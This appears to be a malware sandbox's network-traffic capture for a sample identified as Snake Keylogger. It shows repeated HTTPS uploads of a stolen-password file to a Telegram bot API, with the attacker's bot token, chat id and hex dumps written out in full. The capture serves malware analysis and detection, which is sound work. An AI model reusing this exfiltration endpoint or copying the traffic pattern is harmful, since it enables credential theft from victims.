2022-06-26 07:32:51 UTC	55	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dc4756f0 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:51 UTC	56	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 63 34 37 35 36 66 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dc4756f0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:52 UTC	56	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:52 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:52 UTC	56	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66780,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228772,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49804	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:52 UTC	57	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dc82f3cd Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:52 UTC	57	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 63 38 32 66 33 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dc82f3cdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:52 UTC	58	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:52 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:52 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66781,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228772,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49805	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:52 UTC	59	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dccf3dde Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:52 UTC	59	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 63 63 66 33 64 64 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dccf3ddeContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:53 UTC	59	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:53 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:53 UTC	60	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66782,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228773,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49808	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:53 UTC	60	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dd2c38c7 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:53 UTC	61	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 64 32 63 33 38 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dd2c38c7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:54 UTC	61	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:54 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:54 UTC	62	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66783,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228774,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49809	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:54 UTC	62	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ddc4cf8a Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:54 UTC	62	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 64 63 34 63 66 38 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ddc4cf8aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:54 UTC	63	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:54 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:54 UTC	63	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66784,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228774,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49810	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:55 UTC	64	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756de5d655e Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:55 UTC	64	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 65 35 64 36 35 35 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756de5d655eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:55 UTC	65	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:55 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:55 UTC	65	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66785,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228775,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49812	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:55 UTC	65	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dea2895d Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:55 UTC	66	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 65 61 32 38 39 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dea2895dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:56 UTC	66	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:56 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:56 UTC	67	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66786,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228776,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49772	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:39 UTC	6	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d535c47f Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:39 UTC	7	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 35 33 35 63 34 37 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d535c47fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC 